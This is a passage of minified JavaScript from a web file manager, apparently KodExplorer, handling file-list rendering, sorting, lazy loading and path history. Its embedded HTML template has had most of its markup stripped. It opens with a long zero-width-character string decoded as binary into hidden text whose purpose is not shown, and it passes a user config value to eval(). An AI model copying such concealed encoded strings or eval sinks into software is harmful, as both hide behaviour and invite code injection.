‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i='
    '+i+'
    '),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i='
    '+LNG.path_null+"
    ";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+='
    '+'
    '+''+'
    '+''+LNG.file_load_all+""+"
    "+"
    ":"list_split"==G.user_config.list_type&&(i+='
    '+'
    '+'
    '+''+LNG.file_load_all+"(to list)"+"
    "+"
    ")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
    '+n+'
    ',$(n).insertAfter(t).data("jsonData",a);else n='
    '+n+'
    ',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath") +}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");i.can_upload=!0,(void 0!=a&&"writeable"!=a||t==G.KOD_GROUP_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_USER_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_GROUP_PATH&&"guest"==i.role&&1!=G.is_root||t==G.KOD_USER_FAV||t==G.KOD_USER_RECYCLE||t==G.KOD_GROUP_ROOT_ALL||t==G.KOD_GROUP_ROOT_SELF)&&(i.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}"not_exists"==t&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n
    \n
    \n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='list_folder'}}\n
    \n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if list.isParent&&list.is_readable}}{{/if}}\n \n
    \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
    \n
    {{LNG.folder}}
    \n
    \n
    {{list.mtime}}
    \n
    \n
    \n{{if list.isParent&&list.is_readable}}\n
    \n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n
    \n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='icon_file'}}\n
    \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.icon}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
    \n {{/if}}\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='list_file'}}\n
    \n
    \n \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.iconSmall}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
    \n {{/if}}\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    {{list.ext |window.htmlEncode}} {{LNG.file}}
    \n
    {{list.size |core.fileSize}}
    \n
    {{list.mtime}}
    \n
    \n
    \n\n\n{{else if type=='list_split_file'}}\n
    \n
    \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.iconSmall}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
    \n {{/if}}\n\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    \n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0;ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if((void 0==i||""==i)&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var 